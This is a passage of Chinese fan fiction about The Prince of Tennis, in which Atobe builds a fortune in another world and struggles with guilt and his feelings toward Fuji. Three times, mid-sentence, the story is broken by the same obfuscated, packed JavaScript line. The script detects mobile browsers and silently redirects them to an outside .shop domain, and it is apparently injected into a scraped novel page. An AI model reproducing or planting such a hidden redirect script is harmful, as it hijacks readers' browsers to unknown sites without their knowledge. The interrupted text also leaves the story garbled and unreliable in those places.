野村的眼睛亮了起来。“真的?” “嗯。不过先说好,我不当模特。” “没问题!不当就不当!”野村高兴地拍了拍不二的肩膀,“欢迎加入摄影社!” 其他几个社员也围过来表示欢迎。马尾辫女生虽然还是有些遗憾,但还是笑着跟不二握了手。 “以后多交流,”她说,“你的照片真的很好,我很期待看到你更多的作品。” “谢谢。”不二说。 社团活动结束的时候,天色已经暗了下来。不二看了看手表,刚好一个半小时。他收拾好东西,跟野村道了别,走出了活动教室。 走廊里很安静,只有远处传来某个社团的钢琴声。不二沿着走廊走到楼梯口,下楼,穿过教学楼的一楼大厅,朝校门口走去。 校门口的路灯已经亮了,昏黄的光晕在夜空中散开。不二站在门口,把外套的拉链往上拉了拉。夜风有些凉,吹得他的头发微微晃动。 他拿出手机,想给迹部发个消息。 还没等他打开屏幕,一道光从远处射过来。 不二抬起头,看到一辆黑色的轿车正从街道的尽头驶来。车身修长,线条流畅,在路灯下反射着低调而奢华的光泽。即使不二对这个世界的汽车品牌不太了解,也能看出这辆车价值不菲。 轿车在校门口缓缓停下。 不二往旁边让了让,以为这辆车是某位校领导想要进校。 但车辆没有继续行驶,后座的车窗反而缓缓降了下来。 车窗后面是一张不二无比熟悉的脸。 紫灰色的头发,深蓝色的眼睛,嘴角噙着一抹似笑非笑的弧度。 “迹部?”不二愣住了。 “上车。”迹部说,语气平静得像在说“今天天气不错”。 不二站在原地,大脑短暂地宕机了零点几秒。 “这车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494670|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……哪来的?” “上车再说。”迹部像一位贵族管家般下车为不二打开车门,左手揽着不二腰部轻推他上车,右手则抬高挡在不二头顶,“外面冷。” 不二犹豫了一下,弯腰坐进了车里。车门关上的瞬间,外面的风声和寒意都被隔绝了。 车内的空间很宽敞,真皮座椅柔软而舒适,空气里弥漫着迹部常用的香水味。 不二看了看车内,又看了看迹部,又看了看车内。 “迹部,这到底是怎么回事?” 迹部靠在座椅上,右手随意地搭在车窗边。他的姿态很放松,但嘴角的弧度暴露了他的心情,他正在享受不二的惊讶。 “说来话长。”迹部说。 “那就长话短说。” 迹部笑了笑,从口袋里拿出一个黑色的小盒子,打开递给不二。盒子里躺着一对耳钉,银色的金属镶嵌着一颗深蓝色的宝石,在车内昏暗的灯光下闪烁着幽深的光泽。 “这是什么?”不二问。 “这是本大爷从那里带来的。”迹部说,“那天本大爷刚好参加了一场拍卖会。这对耳钉是本大爷拍下来的,还没来得及放回家,就跟着本大爷一起来找你了。” 由于车上还有个司机,迹部并没有说得很明白,但不二都听明白了。 不二看着那对耳钉,隐约猜到了什么。“你把它卖了?” “不是这对。”迹部把盒子合上,收进口袋,“本大爷来的时候,身上除了这对耳钉,还有一颗宝石。那颗宝石是本大爷在拍卖会上拍下的压轴品,一颗未经切割的蓝宝石原石。” 他顿了顿,语气里带着一丝得意。 “本大爷把那颗宝石卖了。” “卖了?”不二问,“其他人认识那颗宝石的价值吗?” “当然认识。”迹部说,“本大爷找了一家专业的宝石鉴定机构做了鉴定。那颗蓝宝石的品质是世界级的,本大爷通过拍卖行把它卖了出去,拿到了一大笔资金。” 不二消化了一下这个信息。 “然后呢?你用这笔钱买了这辆车?” “这只是其中一小部分。”迹部说,“本大爷用那笔钱做了投资。金融市场的基本规则和逻辑是一样的,本大爷从小就在学习这些东西,做起来并不难。” “你炒股了?” “算是吧。”迹部的语气轻描淡写,好像在说一件微不足道的事情,“本大爷做了一些短线操作,收益还不错。后来又做了一些长线布局,资产规模在稳步增长。” 不二沉默了几秒。 “迹部,你……成立了自己的迹部财团?” “还没有正式成立。”迹部说,“但本大爷已经在筹备了。还还没需要做一些调整,不过大的框架已经搭好了,再过几个月应该就能正式运营。” 他转头看着不二,深蓝色的眼睛在车内昏暗的灯光下显得格外明亮。闪闪发光,像是一只想要夸奖的狗狗。 “本大爷说过,不管在哪里,本大爷都能活得很好。” 不二看着迹部,忽然觉得有些恍惚。几周前,这个人还在为付不起一杯咖啡而窘迫。而现在,他已经有了自己的车,有了自己的资产,有了自己的商业计划。 迹部景吾,不管在哪个世界,都是迹部景吾。 “所以你这一周……”不二慢慢地说,“除了上学和做饭,都在忙这些吗?” “嗯。”迹部说,“本大爷晚上会用电脑看盘,做一些分析。周末的时候去见了一些投资人。时间比较紧,但还算顺利。” 不二想起这一周里,迹部确实经常在房间里待到很晚。他以为迹部是在看书,原来是在做投资。 “你怎么不早说?” “你也没问。”迹部说。 不二无言以对。 “而且,”迹部补充道,“本大爷想给你一个惊喜。” “好吧,你确实惊到我了。” “你一个人在这个世界里过得这么不华丽,”迹部说,“本大爷看不下去了。现在本大爷有钱了,你可以搬出那间小公寓,住到更好的地方去。” 不二愣了一下。 “不用……”他不缺钱,也不觉得房子小。只是因为时间和精力不足才安于现状。 “现在的房子太不华丽了,不符合本大爷的身份。”迹部打断了他,“你不会是想和我分开住吧?” 两人在一起当然是更好的,但是不二并不想亏欠他人。无论是钱财,还是人情。 迹部景吾知道不二周助的性格,但他以为凭两人现在之间的关系,不二应该不会拒绝。 看不二在犹豫,迹部心里有一些难过,但他又不想离开不二。“反正咱们以后会回家的,这些钱啊车啊房啊之类的,不都带不走吗?你来帮我多用用,才是物尽其用。” “迹部,你不用这样……以前只是意外,你不用这样的。”自从迹部被【规则】利用后,迹部就很关照他。不二清晰地看见迹部的变化,从一开始知晓真相的悲痛,再到愧疚,再是全心全力想要弥补,不二不希望迹部始终困在那一个【规则】处心积虑的意外之中。 “不二!” 9. 【规则】 “不二!”随着迹部脱口而出的声音,车里安静了几秒。 不二的话像一颗石子投入平静的湖面,涟漪在两人之间扩散开来。 “不是这样的。”他的手停在座椅扶手上,手指微微收紧,摩挲着真皮座椅的花纹。 迹部的声音略显焦急,出口也没有经过任何思考。像是有人告诉他必须打断不二的话,必须抢在不二把话说完之前,抢在那些话变成某种定论之前打断这个话题。 “迹部,对不起。我不应该说这个话题……”迹部的表现出乎了不二意料,他没有想到这个话题会让迹部如此紧张。 他试图抓住迹部的右手安抚迹部的情绪,但下一秒他的左手就被迹部右手紧紧抓住。 “不二,我没有因为那件事才对想对你好。”迹部转过头盯着不二双眼。路灯的光从他的脸上滑过,一明一暗,“我对你怎么样,是我自己的事,跟【规则】没有关系。” 不二吃惊于那双深蓝色眼眸里翻涌的情绪,此时的迹部景吾像是一条拉满的弓弦,仿佛再施加一分力就会崩断。 在不二周助眼中,他不在意两人友谊的开端起源于什么原因。他们两人之间的相处是真诚的,友谊也是真诚的,这就够了。 但迹部越是反应大,就越体现出那件事对他的影响之深。不二周助并不想自己的好友依旧深受早已破灭的【规则】影响。 “迹部,我不怀疑我们俩的友谊。我只是不想你因为那件事而影响自己的生活,不要因为愧疚而左右你的行为……” “我没有。”迹部打断了他,语气有些生硬,“我确实做过错事,确实被【规则】利用过,确实……间接确实害过你。但那不是我现在想要对你好的原因。” 错事……迹部说“错事”两字……这意味着迹部确实认为自己是错的,但是事实他并没有做错任何事,他只是无辜地成为了【规则】设计陷阱的一个靶子…… 而无辜的他却深陷这件由【规则】所刻意制造的意外所带来的后续影响之中…… 那时候,不二正在与【规则】正面对抗。所有人的注意力都集中在他身上,他的每一次发球、每一次回击、每一次呼吸,都牵动着整个场馆的目光。青学的队友们在场边握紧拳头,其他知情者也都在屏息凝神。 没有人注意到观众席上的迹部。 不二当时也没有,他的全部精力都用来应对【规则】的压迫,用来破解那些违反常理的球路。 当所有人为他战胜【规则】而欢呼喜悦时,他却听见了一个异常声音。 不是迹部的声音,而是【规则】的声音。 【警告:检测到超高强度外部观察分析行为。】 【行为主体:迹部景吾(高共鸣性洞察特质持有者)。】 不二的身体僵住了。他意识到发生了什么,【规则】根本不是在与他对抗。【规则】在利用他吸引所有人的注意力,包括不二自己的注意力。真正的目标,是观众席上的迹部。 不二转过头,看到迹部正专注地盯着赛场,深蓝色的眼睛里映着球场上的光影。他的嘴唇在动,他在分析,在试图找出【规则】的存在逻辑。 他不知道自己在做什么,他不知道自己的天赋正在被【规则】当作武器。 【效果:立即抹除信息污染源(不二周助)。】 不二来不及喊出声。 他记得自己倒下的瞬间,视线里最后的画面,不是球场,不是天空,而是迹部的脸。 死亡对不二周助来说已经不陌生了,但当时轮回重生后迹部的表现却让他感到陌生。 他不再着重于坐镇冰帝,而是时常来青学进行“两校交流”。 每次不二受伤,迹部总是第一个发现。合宿训练迹部也会将自己的房间从豪华单人间改到不二隔壁。 他会以食宿集体升级的名义,自费为所有人带来豪华饮食,只是菜桌上总是不二周助喜欢吃的菜。 他也会主动升级训练设施,默默关注训练中的不二,会放下正在举行的线上会议只为护送不二安全回家。 而当不二再次晋级决赛比赛,即将正式入场前,做了一晚上噩梦的迹部会拦着不二周助入场,用带着血丝的双眼询问不二周助有几分把握活下来…… 所有人都看得出来,迹部景吾把不二周助放在了一个他自己都不敢承认的位置上。比对手高,比朋友高,比任何人都高。高到他自己都分不清,那到底是愧疚,还是别的什么。 如今【规则】的阴影已经驱散,异世界的迹部却仍然将不二周助的地位放在自己之上。 “那是什么原因?”不二想要在异世界里帮助迹部走出来,他开始引导迹部继续思考。 迹部张了张嘴,又闭上了。 他发现自己说不出来。 不是因为找不到理由,而是因为似乎所有的理由都不够完整…… 他可以对不二说“因为我们是朋友”。但他们以前也是朋友,他以前没有每天帮不二正领带、给不二做饭。 他可以说“因为在这个世界里我们只有彼此”。但即使在这个世界里,他也有很多事情要忙,不用把所有的空闲时间都花在不二身上。 他可以说“因为本大爷就是愿意”,但这个理由听起来像是在逃避问题。 他想不出一个能让自己满意的答案。 “我……我说不清楚。”迹部说,声音里带着一丝罕见的烦躁,“但我知道,我对你好不是因为你说的那个原因。” 不二看着他,没有说话。 “你非要我说出来吗?我对你好不行吗?一定要有一个理由,一定要把我的所有行为都归结为那场意外吗?” 不二的嘴唇动了一下,但没有发出声音。 “我不想跟你分开住。”迹部说,语气比刚才更低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494671|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“我不想跟你拉开距离。我对你好不是因为愧疚,不是因为补偿,不是因为你说的那些乱七八糟的东西。只是因为……” 他又停住了。 “因为什么?”不二轻声问。 迹部看着他。不二的眼睛在车内昏暗的灯光下显得格外清澈,那双冰蓝色的眸子正安静地注视着他,没有逼迫,没有追问,只是在等。 迹部的喉结动了一下。 “因为我就是不想。”迹部说。 这句话说出来的瞬间,他自己都觉得这个回答太无力了。但他确实没有更好的答案。他对于自己对不二的好没有进行过理性的分析,那些行为自然而然地发生了,自然到他几乎没有意识到自己在做。 等他意识到的时候,那些行为已经成了习惯。 每天早上提前半小时起床,不是为了给自己做一顿精致的早餐,而是想让不二的便当美味营养。 看到不二领带歪了会伸手帮他整理,不是因为强迫症,而是潜意识里觉得不二周助应该是完美的。 听见不二说冷,他会把外套脱下来,不是因为他不怕冷,而是因为他不想看不二冷。 这些事情他没有想过为什么。 现在不二问了,他发现自己的脑子里只有一堆零碎的、说不出口的、连自己都觉得莫名其妙的答案。 “迹部,”不二说,声音很轻,“我没有说要跟你拉开距离,我也没有怀疑过我们之间的友谊。” “你刚才的意思就是。”迹部说。 “我只是想让你想清楚……”你要过好自己的生活…… “我想得很清楚。”迹部打断了他,“不需要你来提醒我是不是在愧疚,我自己的心情自己知道。” 不二沉默了几秒,然后点了点头。“好。那我不说了。” 车子在公寓楼下停稳,两个人下了车,一前一后走进楼道。声控灯亮起来,把两个人的影子投在斑驳的墙壁上。 一路上没有人说话。 连晚餐也格外安静。 晚上,不二躺在床上,看着天花板。 自己今天不该说那些话,今天他让迹部伤心了。 自己的那些话说得太直接,也太伤人了。他只是想提醒迹部,不要把时间和精力浪费在“弥补”这件事上。那场意外不是迹部的错,【规则】处心积虑设下的局,换了任何人都会中计。 迹部已经做得够好了,在那件事之后,迹部几乎是不遗余力地帮助不二,甚至到了让不二有些不安的程度。 他不希望迹部始终困在那场意外的阴影里。 但迹部的反应比他预想的要激烈,像是一个人在黑暗中摸索,摸到了墙壁但找不到门。 不二翻了个身,把脸埋进枕头里。 也许他不应该追问。也许迹部需要时间去想清楚。也许…… 他叹了一口气,闭上眼睛。 10. 旧事 隔壁房间,迹部没有开灯。 他坐在床边,外套没有脱,领带也没有解,就那么直直地坐着。窗外的光线透过窗帘的缝隙照进来,在地板上画出一条细细的白线。 他想起今天车上意外的“争吵”。 不二的每一句话,每一个表情,都像一根针,扎在他心里最柔软的地方。 不是因为他觉得不二说得不对,而是因为不二说得太对了,对到他无法反驳。他确实是从那场意外之后开始格外关注不二。他确实是因为愧疚才开始想要弥补。他确实…… 迹部站起来,走到窗边,拉开窗帘。 窗外的城市夜景在夜幕中铺展开来,万家灯火像一片发光的海洋。他的倒影映在玻璃上,表情模糊不清。 “我对你怎么样,是我自己的事。” 他说出这句话的时候,心里有一个声音在问:那你倒是说说,你为什么对他这么好? 他给不二做饭,每天等不二一起回家,看见不二戴那副破眼镜会觉得不舒服。他不喜欢不二一个人去参加社团活动,所以要开车去接。他不想跟不二分开住,不想跟不二拉开距离。 这些事情,他以前对别人做过吗? 迹部在脑海里搜索了一遍。 忍足,他没有亲手帮忍足做过便当。向日,他没有每天等向日一起回家。桦地,他没有想和桦地同吃同睡。冰帝网球部的任何一个人,他都没有做过这些事。 这不代表他对他们不好,他给身边之人最好的训练条件,安排最合理的赛程,在必要的时候站出来替他们撑腰。但那是一种有距离的、有分寸的、不会越过某条线的好。 他对不二的好,没有距离,没有分寸,没有底线。 迹部的手指在窗台上轻轻敲了两下,这是他思考时的习惯动作。但此刻这个动作没有帮他理清思路,反而让他的脑子更乱了。 他想起自己以前对不二说的一句话:“你只是习惯用微笑挡住一切,让别人以为你很温柔、很好说话。但你真正在想什么,很少有人知道。” 迹部说这句话的时候,是在说不二。但迹部觉得,这句话也可以用在自己身上。 他用骄傲挡住一切。用“本大爷”这个词筑起一道墙,让别人以为他什么都不在乎、什么都能掌控、什么都在他的计划之内。 但此刻他面对自己的内心,发现那里一片模糊。他看不清自己真正在想什么,看不清自己为什么要做这些事,看不清自己对不二周助到底…… 猛地拉上窗帘。 迹部躺回床上,闭上眼睛,强迫自己入睡。 不要想了,明天还要早起为不二做早饭。 辗转难眠,终于睡去。 不知道过了多久,迹部发现自己站在一片白色的空间里。 没有墙壁,没有地板,没有天花板。上下左右都是纯白色,像一张没有边际的白色空间。他站在中间,连影子都没有。 他不认识这个地方,但潜意识里觉得这就是【规则】的老巢。 “迹部景吾。” 声音从四面八方传来,那声音没有感情没有起伏,像机器在朗读一段文字。 “你怎么来了,你不是粉身碎骨了吗?”迹部说,声音在白色的空间里回荡。 “不是我来了,而是你来了。”【规则】说,“你在想我。” “本大爷没有在想你。” “你在想那件事,那一天。”【规则】的声音顿了一下,“那场事故。” 迹部没有说话。 “你忘不掉。”【规则】说,“你试过遗忘,但你忘不掉。你看到不二周助的时候,你会想起他是怎么死的。你对他好的时候,你会想起你曾经害过他。你……” “闭嘴。”迹部说。 但【规则】没有闭嘴。 白色的空间开始扭曲。光线的角度变了,空气的温度变了,一种熟悉的、让人窒息的感觉从四面八方压过来。 迹部低头,看到自己的手上沾满了血。 他没有受伤,不是他的血。 他猛地抬起头,看到不二躺在网球比赛场地上。 栗色的头发散落在地面上,冰蓝色的眼睛紧闭着,嘴角还挂着那标志性的微笑。但他的胸口没有起伏,他的身体正在变冷,他的…… “不二!”迹部冲过去,跪在地上,双手按住不二的胸口。 没有心跳。 他用力按压,一下,两下,三下。不二的身体在他的手下晃动,像一只没有生命的布偶。 “醒过来!不二!你给我醒过来!” 迹部景吾撕心裂肺,但那双冰蓝色的眼睛始终没有睁开。 迹部的呼吸越来越急促,手在发抖,心脏像被一只无形的手攥住,越来越紧,越来越疼。 “这是你的错。”【规则】的声音从头顶传来,平静得像在陈述一个事实,“是你害了他,是你太蠢了,你的存在导致了他的死亡。是你……” “闭嘴!!!” 迹部从睡梦中猛的惊醒。 汗水顺着额头滴落在被单上,后背的睡衣湿透贴在皮肤上,又冷又黏。他的呼吸又急又重,像是在球场上跑了一百个来回。 房间里很暗,窗帘紧闭,只有床头柜上电子钟的红色数字在跳动。 03:47。 迹部低头坐在床上,双手撑在膝盖上。他的心脏还在狂跳,手指还在发抖,脑子里还在回放那个画面……不二躺在地上,冰蓝色的眼睛紧闭着,嘴角挂着微笑,但身体没有温度。 他深深吸气,缓缓呼气。 过了很久,心跳才慢慢平复下来。 他站起来走到窗边拉开窗帘,窗外的城市还在沉睡,只有零星的几盏灯亮着。 迹部把额头抵在冰凉的玻璃上,闭上眼睛。 不二说得对,他忘不掉。 那场意外已经过去很久了。在原来的世界里,他们已经战胜了【规则】,已经回到了正常的生活。不二活得好好的,每天微笑着、拍着照、打着网球。迹部以为自己也已经放下了,以为那件事已经成了过去式,以为自己可以像什么都没发生过一样继续生活。 但梦中【规则】的话戳破了他的自欺欺人。 不二对他说,“我不希望你始终困在那一场【规则】处心积虑的意外之中。” 他确实困在里面。 他以为自己走出来了,但其实没有。那些深夜的梦、那些下意识的关心、那些“不想跟不二分开”的念头,都是从那场意外里长出来的藤蔓,缠绕着他的心脏,让他分不清哪些是真心、哪些是愧疚。 迹部的手指在玻璃上收紧。 他开始怀疑自己了。 如果不是因为愧疚,他为什么要对不二这么好?如果不是因为那场意外,他会在意不二冷不冷?会在意不二一个人去参加社团活动吗?会不想跟不二分开住吗? 这些问题以前从来没有出现过,但现在它们像一群乌鸦黑压压地挤在他的脑子里,发出嘈杂的、令人烦躁的叫声。 他想起车上不二问他问题时,他连一个像样的回答都说不出来。 他说“我不知道”。他说“我说不清楚”。他说“我就是不想”。 每一个回答都像是在逃避,每一个回答都在印证不二的话。 你只是因为愧疚,你只是因为那场意外,你只是因为…… “不是。”迹部对着玻璃上的倒影说。 倒影看着他,表情模糊,眼神黯淡。 “我说不是!” 深夜里没有人回答他。 迹部回到床上,躺下来,睁着眼睛看着天花板。他不想再睡了,不想再回到那个白色的空间,不想再看到不二躺在地上的画面。 但他控制不住自己的大脑。 那些画面像走马灯一样在眼前转……不二战胜【规则】后在网球场上开怀大笑的样子、不二在全国大赛后笑着跟手冢说话的样子、不二在穿越后的咖啡厅里捧着热可可说“看到你真好”的样子、不二在夕阳下举起相机拍他的样子…… 每一个画面都让他的心脏抽紧一下。 他不知道自己对这些画面的感情是什么。是朋友过得开心的愉悦?是对来之不易生活的珍视?还是不二说的“愧疚”? 他分不清。 这种“分不清”让他感到前所未有的烦躁。他习惯掌控一切,球场上的战术、商业上的决策、人生的方向。但现在,他连自己的心情都掌控不了。 迹部翻了个身,把被子拉到头顶。 第二天早上,不二走出房间时迹部已经在厨房里了。 灶台上的锅冒着热气,迹部穿着围裙,正在用筷子翻动锅里的什么东西。他的动作依然优雅,摆盘依然精致,但如果仔细看,会发现他的眼下有一层淡淡的青黑。 “早。”不二说。 “早。”迹部头也不回地说。 两个人的对话和平时一样,但声音里都多了一丝不自然。像是一首熟悉的曲子,突然有一个音弹错了,不仔细听听不出来,但弹奏的人对此了如指掌。 昨晚刚进行一场不太美好的谈话,不二周助不想因为这件事影响两人之间的关系。两人心照不宣地揭过此事。 不二走到厨房边一如平常看向迹部正在做的菜。“今天是什么?” “玉子烧,味增汤,秋刀鱼。”迹部把玉子烧从锅里滑到案板上,用刀切成均匀的几块,“饭已经煮好了,你盛一下。” “好。” 两个人分工明确地完成了早餐的准备,不二夹起一块玉子烧咬了一口。 “好吃。” “嗯。”迹部应了一声,没有像平时那样骄傲地说“当然了”。 早餐在沉默中进行。 两个人都不说话,只有筷子碰触碗碟的声音。在这场沉默中,两人都默契地忽视昨晚的谈话。 不二吃完饭,站起来收拾碗筷。 “我来洗。”迹部说。 “我来吧。今天周六,你不是还要出门吗?” “下午才出去,上午没事。” “你休息一下吧,我来洗。” 迹部没有争,而是在不二还没反应过来之前就直接站起来把碗筷端到水槽边开始清洗。水声哗哗地响,填补了两个人之间的空白。 不二站在旁边,看着迹部的背影。他的动作还是那么优雅,但多了一种机械感,像是一台精密的机器在按照程序运转,少了平时的从容。 “迹部。”不二伸手拉过迹部的双手,开始一只手一只手帮忙把迹部的衣袖挽起来,避免打湿。 “嗯。” “昨晚……对不起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494672|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>迹部的手顿了一下。“对不起什么?” “我说的话让你不舒服了。” 迹部沉默了几秒,他关掉水龙头,把手擦干。随后转过身靠在橱柜上,定定看着不二。 “你没有说错什么。”迹部说,“本大爷只是……需要想一想。” 不二点了点头。“那你慢慢想。我们无论如何都是好朋友。” “嗯。” 两个人对视了一秒,然后同时移开了目光。 接下来的几天,两个人之间的气氛发生了一些微妙的变化。 表面上一切照旧,他们依然一起上学、一起吃午饭、一起回家。迹部依然会做便当,不二依然会笑着说“好吃”。走在路上的时候,两个人的步伐依然合拍。 但有些东西不一样了。 不二不再让迹部帮他正领带。每天早上出门前,他会对着镜子仔细检查一遍,确认领带是正的、头发是整齐的、一切都没有问题。 第一天迹部手指下意识想去为不二整理,但最终收了回来。 学校里,不二开始更频繁地去摄影社。以前他每周只去一次社团活动,现在他会在放学后多待一会儿,用暗房冲洗照片,或者在器材室里试用不同的镜头。 他没有因为那晚的谈话故意疏远迹部,只是觉得迹部需要一些独处的时间,一些属于自己的时间,而不是围着他转。 迹部察觉到了这些变化,他没有说什么。 两个人之间的空气变得有些稀薄。 以前那些自然而然的互动、那些不需要思考就能说出口的话,现在都要先在脑子里过一遍,确认不会触及某个敏感的话题,才能说出来。 在这样的氛围下,迹部景吾开始变得急躁,事情超出了他的掌握又让他整颗心不受控地低落。 每当他想要回到以前一样寸步不离地黏着不二周助时,自己又会因“愧疚”二字停下脚步,最终只在上课时盯着不二的背影出神。 想不出答案,但看着不二周助独自行动的时间越来越长,次数越来越多,迹部景吾又开始焦急,急于不想与不二疏远。 本该因为坐豪车上下学而更加出名的迹部景吾因为连日来的心不在焉与情绪低落,连带着拒绝男同学告白的手段也越发直接。 渐渐的,迹部景吾在众人心中成了一位“不可能恋爱之人”,向他告白的人越来越少。没了被告白的烦恼,迹部景吾更加深陷如何与不二周助重归旧好的烦恼之中。 周五放学后,不二又要去摄影社。 “几点结束?”迹部问。他的语气和平时一样,但不二听出了那层语气之下的东西。是一种小心翼翼、不确定自己该不该问的试探。 “大概一个半小时。”不二说,“你不用来接我,我坐车回去就行。” 迹部看向前座的不二:“本大爷说了去接你。”说话声音不大,像是在担心不二是否会生气。 “真的不用。你最近不是忙吗?别耽误你的事。”不二周助记得周五下午迹部还有个线上会议来着,还是不打扰他了。 迹部沉默了两秒。“那你自己注意安全。” “嗯。” 不二背着书包走出教室的时候,回头看了一眼。迹部还坐在座位上,手里拿着本没有翻页的英文原装书。他的目光落在窗外,不知道在看什么。 不二转回头,走出了教室。 摄影社的活动结束后,不二在校门口等车。夜风吹过来,带着秋天的凉意。他缩了缩脖子,把外套的拉链往上拉了拉。 一辆黑色的轿车从远处驶来。 不二认出那辆车,他下意识地往旁边让了让,轿车在他面前停下了。 车窗降下来,露出迹部的脸。 “上车。” 不二叹了口气,弯腰坐进车里。“不是说了不用来接我吗?” “本大爷顺路。”迹部说。 不二周助被这句话逗笑了。“你顺什么路?从家里出来,就为了又和我顺回家的路?” 迹部没有回答。他靠在座椅上,目光看向窗外。路灯的光从他的脸上滑过,一明一暗。 不二看着迹部的侧脸,忽然觉得有些心疼。 这个人明明很忙,忙着投资、忙着筹备公司、忙着在这个世界里重新建立迹部财团。但他还是抽出时间来校门口等他,只为了说一句“上车”。 “迹部。”不二说。 “嗯。” “你不用每次都来接我。” “本大爷愿意。” 又是这句话。不二在心里叹了一口气。 “我是说,”不二斟酌着措辞,“你可以把你的时间用在更重要的事情上。” “本大爷的事情,本大爷自己会安排。”迹部的语气有些生硬,“不需要你来教本大爷什么更重要。”话说出来迹部又有些后悔,他偷偷观察不二的脸色。 一时之间车里安静了下来。 不二没有再说话。他看着窗外的夜景,霓虹灯在夜色中闪烁,把街道照得五颜六色。他的倒影映在玻璃上,表情有些疲惫。 两个人之间的关系变成这样,不是他想要的,他只是想让迹部过好自己的美好生活。但现在看来,他的“拉开距离”好像让迹部更难过了。 不二轻轻叹了口气。 也许他应该换一种方式。 11. 周末 周六的清晨,阳光透过窗帘的缝隙溜进房间,在床单上画出一道细细的金线。 迹部景吾是被生物钟叫醒的。他睁开眼,盯着天花板看了几秒,脑子里自动浮现出今天的事项安排。 翻了个身,伸手去够床头柜上的手机。屏幕上显示早上七点整,没有新消息。 迹部坐起来,揉了揉太阳穴。昨晚他又没睡好,脑子里翻来覆去地想着那些话,“愧疚”“意外”“死亡”……每一个词都像一根刺,扎得他心神不宁。 他深吸一口气,掀开被子下了床。不管怎样,早餐还是要做的。不二最近喜欢吃厚蛋烧,今天做个双份的。 昨天趁不二还在摄影社时买了点芥末,可以让不二尝一点,只是为了健康不能让他多吃。 迹部洗漱完,换好衣服,走出房间。客厅很安静,不二的房门紧闭着。他看了一眼,没有听到任何声响,大概还在睡。 迹部景吾走进厨房,系上围裙,开始准备食材。鸡蛋、牛奶、糖、盐、柴鱼高汤。他把所有材料按顺序摆好,开始打蛋。 蛋液在碗里被筷子快速搅动,发出有节奏的声响。迹部的手很稳,动作很准,每一个步骤都精确得像在实验室里做实验。 但今天他发现自己总是走神。 脑海里反复出现不二昨天在车上的表情,以及不二的叹气。 把打好的蛋液倒进锅里,蛋液在热油中迅速凝固,发出滋滋的声音。迹部景吾用筷子快速划动,把蛋液从锅边往中间推,一层一层卷起来。 第一个玉子烧做完,他切了一块尝了尝。味道没问题,他又做了第二个。 第二个做完的时候,不二的房门还是关着的。 迹部皱了皱眉。平时这个时候,不二应该已经出来了。即使周末不急着上学,他也不会睡太晚。难道是生病了? 他把早餐装好,摆上餐桌,走到不二房门前抬手敲了敲。 “不二?起床了,早餐好了。” 没有回应。 迹部又敲了两下。“不二?” 还是没回应。他犹豫了一下,握住门把手轻轻转动。门没有锁,轻松就打开了,然而房间里空荡荡的。 被子叠得整整齐齐,窗帘拉开了一半,阳光照在空无一人的床上。书桌上的电脑合着,仙人掌盆栽静静待在阳光处。 迹部站在门口,愣了两秒。 书桌前有一张便条纸压在眼镜盒下面,纸上是不二的字迹,简洁明了:“早上好迹部!我出去一下,不用等我吃早餐。午饭前回来。” 没有说去哪里,没有说去做什么,没有说和谁一起。 迹部把便条纸捏在手里,站了好一会儿。 “出去一下……”他重复了一遍这个词,嘴角微微抿紧。 很简洁的一句话,没有任何额外信息。像是不需要向他汇报,又像是不想要他知道自己去哪了。 迹部把便条纸放回桌上,转身走出房间。 他走到餐桌前坐下,看着面前两份精心准备的早餐。厚蛋烧、味增汤、以及不二最近喜欢上的煎饼,每一样都是按照不二的口味做的。 他拿起筷子,夹了一块厚蛋烧放进嘴里。 还是那个味道,但今天吃起来有些发苦。 迹部放下筷子,靠在椅背上。他发现自己完全没胃口。 不二周助去了哪里?为什么不说一声就走了?是不是为昨天的事生气了?是不是不想看见他?是不是……连周末都不想和他待在一起? 这些念头像藤蔓一样缠绕上来,越缠越紧,勒得他有些喘不过气。 他想起不二最近的表现,自己独立完成一切事项不再需要他的照顾,不再跟他随意畅聊,放学后经常去摄影社待到很晚,偶尔还会提前出门…… 每一次“拉开距离”,都像是一只手在他心脏上轻轻捏了一下。不至于痛苦,但很不舒服,长时间细细密密地难受。 迹部站起来把早餐收进冰箱,他不想浪费不二的那份,也许不二中午回来会吃。 回到自己的房间,打开电脑,开始处理工作。昨天线上会议结束后项目经理询问了很多关于公司后续发展的问题,都需要他一个个解决。 屏幕上是一堆数字和图表,平时处理这些东西得心应手,但今天迹部景吾一个字都看不进去。他的眼睛盯着屏幕,脑子里想的全是不二周助。 不二现在在做什么?和谁在一起?为什么不告诉他? 迹部烦躁地关掉一个页面,又打开另一个。他强迫自己集中注意力,分析股票的走势图。数字在屏幕上跳动,他的手指在触控板上移动,但那些数字仿佛失去了意义。 他看了一眼手机,没有新消息。 又看了一眼,还是没有。 再看了一眼,依然没有。 